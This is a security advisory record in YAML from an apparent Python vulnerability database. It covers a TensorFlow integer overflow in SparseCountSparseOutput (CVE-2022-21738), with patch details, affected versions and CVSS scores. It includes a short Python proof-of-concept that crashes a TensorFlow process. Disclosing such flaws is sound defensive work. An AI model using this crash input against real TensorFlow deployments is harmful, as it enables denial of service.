id: PYSEC-2026-3258
published: "2026-07-09T16:49:41.888651Z"
modified: "2026-07-13T16:07:16.677087Z"
aliases:
- CVE-2022-21738
- GHSA-x4qx-4fjv-hmw6
summary: Integer overflow leading to crash in Tensorflow
details: "### Impact \nThe [implementation of `SparseCountSparseOutput`](https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/count_ops.cc#L168-L273) can be made to crash a TensorFlow process by an integer overflow whose result is then used in a memory allocation:\n\n```python\nimport tensorflow as tf\nimport numpy as np\n    \ntf.raw_ops.SparseCountSparseOutput(\n  indices=[[1,1]],\n  values=[2],\n  dense_shape=[2 ** 31, 2 ** 32],\n  weights=[1],\n  binary_output=True,\n  minlength=-1,\n  maxlength=-1,\n  name=None)\n```\n\n### Patches\nWe have patched the issue in GitHub commit [6f4d3e8139ec724dbbcb40505891c81dd1052c4a](https://github.com/tensorflow/tensorflow/commit/6f4d3e8139ec724dbbcb40505891c81dd1052c4a).\n\nThe fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Faysal Hossain Shezan from University of Virginia."
affected:
- package:
    name: tensorflow
    ecosystem: PyPI
    purl: pkg:pypi/tensorflow
  ranges:
  - type: ECOSYSTEM
    events:
    - introduced: "0"
    - fixed: 2.5.3
    - introduced: 2.6.0
    - fixed: 2.6.3
    - introduced: 2.7.0
    - fixed: 2.7.1
  versions:
  - 2.7.0
  - 0.12.0
  - 0.12.1
  - 1.0.0
  - 1.0.1
  - 1.1.0
  - 1.10.0
  - 1.10.1
  - 1.11.0
  - 1.12.0
  - 1.12.2
  - 1.12.3
  - 1.13.1
  - 1.13.2
  - 1.14.0
  - 1.15.0
  - 1.15.2
  - 1.15.3
  - 1.15.4
  - 1.15.5
  - 1.2.0
  - 1.2.1
  - 1.3.0
  - 1.4.0
  - 1.4.1
  - 1.5.0
  - 1.5.1
  - 1.6.0
  - 1.7.0
  - 1.7.1
  - 1.8.0
  - 1.9.0
  - 2.0.0
  - 2.0.1
  - 2.0.2
  - 2.0.3
  - 2.0.4
  - 2.1.0
  - 2.1.1
  - 2.1.2
  - 2.1.3
  - 2.1.4
  - 2.2.0
  - 2.2.1
  - 2.2.2
  - 2.2.3
  - 2.3.0
  - 2.3.1
  - 2.3.2
  - 2.3.3
  - 2.3.4
  - 2.4.0
  - 2.4.1
  - 2.4.2
  - 2.4.3
  - 2.4.4
  - 2.5.0
  - 2.5.1
  - 2.5.2
  - 2.6.0
  - 2.6.1
  - 2.6.2
references:
- type: WEB
  url: https://github.com/tensorflow/tensorflow/security/advisories/GHSA-x4qx-4fjv-hmw6
- type: ADVISORY
  url: https://nvd.nist.gov/vuln/detail/CVE-2022-21738
- type: WEB
  url: https://github.com/tensorflow/tensorflow/commit/6f4d3e8139ec724dbbcb40505891c81dd1052c4a
- type: WEB
  url: https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2022-62.yaml
- type: WEB
  url: https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2022-117.yaml
- type: PACKAGE
  url: https://github.com/tensorflow/tensorflow
- type: WEB
  url: "https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/count_ops.cc#L168-L273"
- type: PACKAGE
  url: https://pypi.org/project/tensorflow
- type: ADVISORY
  url: https://github.com/advisories/GHSA-x4qx-4fjv-hmw6
severity:
- type: CVSS_V3
  score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
- type: CVSS_V4
  score: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N